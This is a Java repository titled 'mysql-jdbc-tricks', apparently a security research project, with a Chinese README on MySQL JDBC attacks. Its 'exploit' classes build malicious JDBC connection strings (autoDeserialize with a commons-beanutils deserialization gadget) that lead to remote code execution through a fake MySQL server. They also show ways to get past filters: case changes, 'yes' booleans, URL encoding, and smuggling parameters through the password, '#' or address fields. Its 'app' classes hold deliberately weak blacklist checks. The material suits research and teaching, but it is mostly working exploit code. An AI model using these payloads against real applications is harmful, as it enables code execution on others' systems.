├── .gitignore
├── README.md
├── pom.xml
└── src
└── main
└── java
└── org
└── y4sec
└── team
├── app
├── Application1.java
├── Application10.java
├── Application2.java
├── Application3.java
├── Application4.java
├── Application5.java
├── Application6.java
├── Application7.java
├── Application8.java
└── Application9.java
└── exploit
├── Example1.java
├── Example10.java
├── Example2.java
├── Example3.java
├── Example4.java
├── Example5.java
├── Example6.java
├── Example7.java
├── Example7Bypass.java
├── Example8.java
├── Example8Bypass.java
├── Example9.java
└── Example9Bypass.java
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | !.mvn/wrapper/maven-wrapper.jar
3 | !**/src/main/**/target/
4 | !**/src/test/**/target/
5 |
6 | ### IntelliJ IDEA ###
7 | .idea/modules.xml
8 | .idea/jarRepositories.xml
9 | .idea/compiler.xml
10 | .idea/libraries/
11 | *.iws
12 | *.iml
13 | *.ipr
14 |
15 | ### Eclipse ###
16 | .apt_generated
17 | .classpath
18 | .factorypath
19 | .project
20 | .settings
21 | .springBeans
22 | .sts4-cache
23 |
24 | ### NetBeans ###
25 | /nbproject/private/
26 | /nbbuild/
27 | /dist/
28 | /nbdist/
29 | /.nb-gradle/
30 | build/
31 | !**/src/main/**/build/
32 | !**/src/test/**/build/
33 |
34 | ### VS Code ###
35 | .vscode/
36 |
37 | ### Mac OS ###
38 | .DS_Store
39 |
40 | .idea/
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## mysql-jdbc-tricks
2 |
3 | 这里是很多`MySQL JDBC Attack`的小技巧,我仅在`MySQL`的`JDBC`驱动中测试,这里的技巧可能在其他类型的数据库驱动中也存在
4 |
5 | 文章:https://mp.weixin.qq.com/s/lmoWKK41ZQzZOh-P26VUng
6 |
7 | 推荐搭建:推荐配合 https://github.com/4ra1n/mysql-fake-server 使用
8 |
9 | ### 基本示例
10 |
11 | 参考`Application1`和`Example1`代码
12 |
13 | 这是一个不存在任何过滤的情况,直接执行即可`RCE`
14 |
15 | ### 大小写绕过
16 |
17 | 参考`Application1`和`Example1`代码
18 |
19 | 这里展示了一种简单的防护和绕过,`MySQL`驱动对于连接参数的大小不做限制,如果开发者不做大小写限制,将会被轻易饶过
20 |
21 | ### YES绕过
22 |
23 | 参考`Application3`和`Example3`代码
24 |
25 | 这里展示了一种简单的防护和绕过,`MySQL`驱动允许的`Bool`值是包含`true/yes`两种的,因此存在一种绕过
26 |
27 | ### 编码绕过
28 |
29 | 参考`Application4`和`Example4`代码
30 |
31 | 这里展示了某些情况下的绕过,`MySQL`驱动允许`URL`编码,因此如果开发者没有按照标准`URL`解析和过滤,将会存在绕过
32 |
33 | ### 暂时的安全
34 |
35 | 参考`Application5`和`Example5`代码
36 |
37 | 对于这种情况,似乎是安全了,或许有其他的绕过?
38 |
39 | ### 另一种形式的传参
40 |
41 | 参考`Application6`和`Example6`代码
42 |
43 | 这也是`JDBC`攻击很常见的一种情况
44 |
45 | ### 额外参数检查绕过
46 |
47 | 参考`Application7`和`Example7Bypass`代码
48 |
49 | 限制额外连接参数情况下如何绕过
50 |
51 | ### 特殊情况下的#号绕过
52 |
53 | 参考`Application8`和`Example8Bypass`代码
54 |
55 | 一种特殊情况的绕过,属于一种逻辑漏洞
56 |
57 | ### 另一种特殊场景的绕过
58 |
59 | 参考`Application9`和`Example9Bypass`代码
60 |
61 | 另一种特殊情况的绕过,开发者忽略某些参数过滤导致的绕过
62 |
63 | ### 可能安全
64 |
65 | 参考`Application10`和`Example10`代码
66 |
67 | 对于这种情况,似乎是安全了,或许有其他的绕过?
68 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.y4sec
8 | mysql-jdbc-tricks
9 | 1.0
10 |
11 |
12 | 8
13 | 8
14 | UTF-8
15 |
16 |
17 |
18 |
19 | mysql
20 | mysql-connector-java
21 | 6.0.2
22 |
23 |
24 | commons-beanutils
25 | commons-beanutils
26 | 1.9.4
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application1.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.sql.DriverManager;
4 |
5 | public class Application1 {
6 | public static void connection(String url){
7 | try {
8 | Class.forName("com.mysql.cj.jdbc.Driver");
9 | DriverManager.getConnection(url);
10 | } catch (Exception e) {
11 | e.printStackTrace();
12 | }
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application10.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.sql.DriverManager;
4 |
5 | public class Application10 {
6 | public static void connection(String addr, String user, String db, String password, String extra) {
7 | try {
8 | String url = String.format("jdbc:mysql://%s/%s?", addr, db);
9 |
10 | StringBuilder sb = new StringBuilder();
11 | sb.append("user=");
12 | sb.append(check(user));
13 | sb.append("&");
14 | sb.append("password=");
15 | sb.append(check(password));
16 |
17 | if (!extra.equals("")) {
18 | sb.append("&");
19 | sb.append(check(extra));
20 | }
21 |
22 | url = url + sb;
23 |
24 | check(url);
25 |
26 | System.out.println(url);
27 |
28 | Class.forName("com.mysql.cj.jdbc.Driver");
29 | DriverManager.getConnection(url);
30 | } catch (Exception e) {
31 | e.printStackTrace();
32 | }
33 | }
34 |
35 | private static String check(String params) {
36 | if (params.contains("autoDeserialize")) {
37 | throw new RuntimeException("you are hacker");
38 | }
39 | return params;
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application2.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.net.URI;
4 | import java.sql.DriverManager;
5 | import java.util.HashMap;
6 | import java.util.Map;
7 |
8 | public class Application2 {
9 | public static void connection(String url){
10 | try {
11 | if(!check(url)) {
12 | System.out.println("you are hacker");
13 | return;
14 | }
15 | Class.forName("com.mysql.cj.jdbc.Driver");
16 | DriverManager.getConnection(url);
17 | } catch (Exception e) {
18 | e.printStackTrace();
19 | }
20 | }
21 |
22 | private static boolean check(String jdbcUrl){
23 | try {
24 | Map params = new HashMap<>();
25 | String query = jdbcUrl.split("\\?")[1];
26 | if (query != null) {
27 | String[] pairs = query.split("&");
28 | for (String pair : pairs) {
29 | String[] keyValue = pair.split("=");
30 | String key = keyValue[0];
31 | String value = keyValue.length > 1 ? keyValue[1] : "";
32 | params.put(key, value);
33 | }
34 | }
35 |
36 | System.out.println("Params: " + params);
37 |
38 | for (Map.Entry p: params.entrySet()){
39 | if (p.getKey().equals("autoDeserialize")) {
40 | if(p.getValue().equals("true")){
41 | return false;
42 | }
43 | }
44 | }
45 |
46 | return true;
47 | } catch (Exception e) {
48 | e.printStackTrace();
49 | return false;
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application3.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.net.URI;
4 | import java.sql.DriverManager;
5 | import java.util.HashMap;
6 | import java.util.Map;
7 |
8 | public class Application3 {
9 | public static void connection(String url){
10 | try {
11 | if(!check(url)) {
12 | System.out.println("you are hacker");
13 | return;
14 | }
15 | Class.forName("com.mysql.cj.jdbc.Driver");
16 | DriverManager.getConnection(url);
17 | } catch (Exception e) {
18 | e.printStackTrace();
19 | }
20 | }
21 |
22 | private static boolean check(String jdbcUrl){
23 | try {
24 | Map params = new HashMap<>();
25 | String query = jdbcUrl.split("\\?")[1];
26 | if (query != null) {
27 | String[] pairs = query.split("&");
28 | for (String pair : pairs) {
29 | String[] keyValue = pair.split("=");
30 | String key = keyValue[0];
31 | String value = keyValue.length > 1 ? keyValue[1] : "";
32 | params.put(key, value);
33 | }
34 | }
35 |
36 | System.out.println("Params: " + params);
37 |
38 | for (Map.Entry p: params.entrySet()){
39 | if (p.getKey().equals("autoDeserialize")) {
40 | String value = p.getValue();
41 | value = value.toLowerCase();
42 | if(value.equals("true")){
43 | return false;
44 | }
45 | }
46 | }
47 |
48 | return true;
49 | } catch (Exception e) {
50 | e.printStackTrace();
51 | return false;
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application4.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.net.URI;
4 | import java.sql.DriverManager;
5 | import java.util.HashMap;
6 | import java.util.Map;
7 |
8 | public class Application4 {
9 | public static void connection(String url) {
10 | try {
11 | if (!check(url)) {
12 | System.out.println("you are hacker");
13 | return;
14 | }
15 | Class.forName("com.mysql.cj.jdbc.Driver");
16 | DriverManager.getConnection(url);
17 | } catch (Exception e) {
18 | e.printStackTrace();
19 | }
20 | }
21 |
22 | private static boolean check(String jdbcUrl) {
23 | try {
24 | Map params = new HashMap<>();
25 | String query = jdbcUrl.split("\\?")[1];
26 | if (query != null) {
27 | String[] pairs = query.split("&");
28 | for (String pair : pairs) {
29 | String[] keyValue = pair.split("=");
30 | String key = keyValue[0];
31 | String value = keyValue.length > 1 ? keyValue[1] : "";
32 | params.put(key, value);
33 | }
34 | }
35 |
36 | System.out.println("Params: " + params);
37 |
38 | for (Map.Entry p : params.entrySet()) {
39 | if (p.getKey().equals("autoDeserialize")) {
40 | String value = p.getValue();
41 | value = value.toLowerCase();
42 | if (value.equals("true") || value.equals("yes")) {
43 | return false;
44 | }
45 | }
46 | }
47 |
48 | return true;
49 | } catch (Exception e) {
50 | e.printStackTrace();
51 | return false;
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application5.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.net.URI;
4 | import java.sql.DriverManager;
5 | import java.util.HashMap;
6 | import java.util.Map;
7 |
8 | public class Application5 {
9 | public static void connection(String url) {
10 | try {
11 | if (!check(url)) {
12 | System.out.println("you are hacker");
13 | return;
14 | }
15 | Class.forName("com.mysql.cj.jdbc.Driver");
16 | DriverManager.getConnection(url);
17 | } catch (Exception e) {
18 | e.printStackTrace();
19 | }
20 | }
21 |
22 | private static boolean check(String jdbcUrl) {
23 | try {
24 | URI uri = new URI(jdbcUrl.replace("jdbc:", ""));
25 |
26 | String host = uri.getHost();
27 | int port = uri.getPort();
28 | String path = uri.getPath();
29 | String dbname = path.substring(1);
30 |
31 | Map params = new HashMap<>();
32 | String query = uri.getQuery();
33 | if (query != null) {
34 | String[] pairs = query.split("&");
35 | for (String pair : pairs) {
36 | String[] keyValue = pair.split("=");
37 | String key = keyValue[0];
38 | String value = keyValue.length > 1 ? keyValue[1] : "";
39 | params.put(key, value);
40 | }
41 | }
42 |
43 | System.out.println("Host: " + host);
44 | System.out.println("Port: " + port);
45 | System.out.println("DB Name: " + dbname);
46 | System.out.println("Params: " + params);
47 |
48 | for (Map.Entry p : params.entrySet()) {
49 | if (p.getKey().equals("autoDeserialize")) {
50 | String value = p.getValue();
51 | value = value.toLowerCase();
52 | if (value.equals("true") || value.equals("yes")) {
53 | return false;
54 | }
55 | }
56 | }
57 |
58 | return true;
59 | } catch (Exception e) {
60 | e.printStackTrace();
61 | return false;
62 | }
63 | }
64 | }
65 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application6.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.net.URLDecoder;
4 | import java.sql.DriverManager;
5 |
6 | public class Application6 {
7 | public static void connection(String addr,String user,String db,String password,String extra) {
8 | try {
9 | String url = String.format("jdbc:mysql://%s/%s?",addr,db);
10 |
11 | StringBuilder sb = new StringBuilder();
12 | sb.append("user=");
13 | sb.append(user);
14 | sb.append("&");
15 | sb.append("password=");
16 | sb.append(password);
17 | if (!extra.equals("")){
18 | sb.append("&");
19 | sb.append(extra);
20 | }
21 |
22 | url = url + sb;
23 |
24 | Class.forName("com.mysql.cj.jdbc.Driver");
25 | DriverManager.getConnection(url);
26 | } catch (Exception e) {
27 | e.printStackTrace();
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application7.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.sql.DriverManager;
4 | import java.util.HashMap;
5 | import java.util.Map;
6 |
7 | public class Application7 {
8 | public static void connection(String addr,String user,String db,String password,String extra) {
9 | try {
10 | String url = String.format("jdbc:mysql://%s/%s?",addr,db);
11 |
12 | StringBuilder sb = new StringBuilder();
13 | sb.append("user=");
14 | sb.append(user);
15 | sb.append("&");
16 | sb.append("password=");
17 | sb.append(password);
18 |
19 | if (!check(extra)){
20 | System.out.println("you are hacker");
21 | return;
22 | }
23 |
24 | if (!extra.equals("")){
25 | sb.append("&");
26 | sb.append(extra);
27 | }
28 |
29 | url = url + sb;
30 |
31 | System.out.println(url);
32 |
33 | Class.forName("com.mysql.cj.jdbc.Driver");
34 | DriverManager.getConnection(url);
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | }
39 |
40 | private static boolean check(String params){
41 | try {
42 | return !params.contains("autoDeserialize");
43 | } catch (Exception e) {
44 | e.printStackTrace();
45 | return false;
46 | }
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application8.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.sql.DriverManager;
4 |
5 | public class Application8 {
6 | public static void connection(String addr, String user, String db, String password, String extra) {
7 | try {
8 | String url = String.format("jdbc:mysql://%s/%s?", addr, db);
9 |
10 | StringBuilder sb = new StringBuilder();
11 | sb.append("user=");
12 | sb.append(user);
13 | sb.append("&");
14 | sb.append("password=");
15 | sb.append(password);
16 |
17 | if (!check(extra)) {
18 | System.out.println("you are hacker");
19 | return;
20 | }
21 |
22 | if (!extra.equals("")) {
23 | sb.append("&");
24 | sb.append(extra);
25 | }
26 |
27 | if (url.endsWith("?")) {
28 | url = url + sb + "autoDeserialize=false";
29 | } else {
30 | url = url + sb + "&autoDeserialize=false";
31 | }
32 |
33 | System.out.println(url);
34 |
35 | Class.forName("com.mysql.cj.jdbc.Driver");
36 | DriverManager.getConnection(url);
37 | } catch (Exception e) {
38 | e.printStackTrace();
39 | }
40 | }
41 |
42 | private static boolean check(String params) {
43 | try {
44 | return !params.contains("autoDeserialize");
45 | } catch (Exception e) {
46 | e.printStackTrace();
47 | return false;
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/app/Application9.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.app;
2 |
3 | import java.sql.DriverManager;
4 |
5 | public class Application9 {
6 | public static void connection(String addr, String user, String db, String password, String extra) {
7 | try {
8 | String url = String.format("jdbc:mysql://%s/%s?", addr, db);
9 |
10 | StringBuilder sb = new StringBuilder();
11 | sb.append("user=");
12 | sb.append(check(user));
13 | sb.append("&");
14 | sb.append("password=");
15 | sb.append(check(password));
16 |
17 | if (!extra.equals("")) {
18 | sb.append("&");
19 | sb.append(check(extra));
20 | }
21 |
22 | url = url + sb;
23 |
24 | System.out.println(url);
25 |
26 | Class.forName("com.mysql.cj.jdbc.Driver");
27 | DriverManager.getConnection(url);
28 | } catch (Exception e) {
29 | e.printStackTrace();
30 | }
31 | }
32 |
33 | private static String check(String params) {
34 | if (params.contains("autoDeserialize")) {
35 | throw new RuntimeException("you are hacker");
36 | }
37 | return params;
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example1.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application1;
4 |
5 | public class Example1 {
6 | public static void main(String[] args) {
7 | String addr = "127.0.0.1:62787";
8 | String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
9 | String url = String.format( "jdbc:mysql://%s/test?%s",addr,params);
10 |
11 | Application1.connection(url);
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example10.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application10;
4 |
5 | public class Example10 {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test";
11 | String db = "test";
12 | String extra = "";
13 |
14 | Application10.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example2.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application2;
4 |
5 | public class Example2 {
6 | public static void main(String[] args) {
7 | String addr = "127.0.0.1:62787";
8 | String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
9 | String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
10 |
11 | Application2.connection(url);
12 |
13 | addr = "127.0.0.1:62787";
14 | params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";
15 | url = String.format("jdbc:mysql://%s/test?%s", addr, params);
16 |
17 | Application2.connection(url);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example3.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application3;
4 |
5 | public class Example3 {
6 | public static void main(String[] args) {
7 | String addr = "127.0.0.1:62787";
8 | String params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";
9 | String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
10 |
11 | Application3.connection(url);
12 |
13 | addr = "127.0.0.1:62787";
14 | params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";
15 | url = String.format("jdbc:mysql://%s/test?%s", addr, params);
16 |
17 | Application3.connection(url);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example4.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application4;
4 |
5 | public class Example4 {
6 | public static void main(String[] args) {
7 | String addr = "127.0.0.1:62787";
8 | String params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";
9 | String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
10 |
11 | Application4.connection(url);
12 |
13 | addr = "127.0.0.1:62787";
14 | params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";
15 | url = String.format("jdbc:mysql://%s/test?%s", addr, params);
16 |
17 | Application4.connection(url);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example5.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application5;
4 |
5 | public class Example5 {
6 | public static void main(String[] args) {
7 | String addr = "127.0.0.1:62787";
8 | String params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";
9 | String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
10 |
11 | Application5.connection(url);
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example6.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application6;
4 |
5 | public class Example6 {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true&autoDeserialize=true";
13 |
14 | Application6.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example7.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application7;
4 |
5 | public class Example7 {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true&autoDeserialize=true";
13 |
14 | Application7.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example7Bypass.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application7;
4 |
5 | public class Example7Bypass {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test&autoDeserialize=true&";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true&";
13 |
14 | Application7.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example8.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application8;
4 |
5 | public class Example8 {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test&autoDeserialize=true&";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true&";
13 |
14 | Application8.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example8Bypass.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application8;
4 |
5 | public class Example8Bypass {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test&autoDeserialize=true";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true?";
13 |
14 | Application8.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example9.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application9;
4 |
5 | public class Example9 {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test&autoDeserialize=true&";
11 | String db = "test";
12 | String extra = "detectCustomCollations=true&";
13 |
14 | Application9.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/main/java/org/y4sec/team/exploit/Example9Bypass.java:
--------------------------------------------------------------------------------
1 | package org.y4sec.team.exploit;
2 |
3 | import org.y4sec.team.app.Application9;
4 |
5 | public class Example9Bypass {
6 | public static void main(String[] args) {
7 | // 可控内容
8 | String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
9 | String user = "deser_CB_calc.exe";
10 | String password = "test";
11 | String db = "test";
12 | String extra = "";
13 |
14 | Application9.connection(addr,user,db,password,extra);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------